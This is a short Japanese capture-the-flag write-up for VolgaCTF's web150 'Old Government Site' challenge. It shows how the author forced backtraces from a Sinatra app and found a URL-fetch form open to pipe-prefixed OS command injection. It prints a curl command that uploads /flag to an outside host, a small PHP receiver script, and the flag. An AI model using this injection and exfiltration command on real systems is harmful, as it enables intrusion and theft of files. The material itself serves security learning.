自分はweb150のOld Goverment Siteしか解けませんでした。色々反省点しかないですがとりあえずwriteupを残します。
http://188.246.233.50:8080/page?id=2
で各ページが表示される
http://188.246.233.50:8080/a
存在しないファイルにアクセスすると404のページでsinatraがつかわれているということがわかる。

http://188.246.233.50:8080/page?id[]=2
とするとバックトレースが表示される

ここでid=18でpage18が表示されることに気づく

page18にはフォームがあってsiteの部分にURLを入力すると指定したURLにアクセスしてきた。

次は/flagと入力してみると読み込みに成功したが表示がされない。
flagを読み込んだりURLにアクセスしてきているコードの部分が見たかったので該当コードをうまいことバックトレースに該当コードを表示させる。
http://188.246.233.50:8080/page
にPOSTでid[]=1とリクエストすることで表示できた
flagを読み込んでその中身を指定したURLに送信できないか調べているとちょうどそんな記事があった。
|
を先頭に置くとOSコマンドインジェクションができるというもの
これを使ってcurlでファイルを送信すればflagが読めそう。
| curl -F file=@/flag http://example.com/file.php
待ち受けサーバーのスクリプト
<?php
$uploaddir = '/var/www/html/';
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
file_put_contents('flag', $content);
VolgaCTF{dedicated_to_all_goverment_site}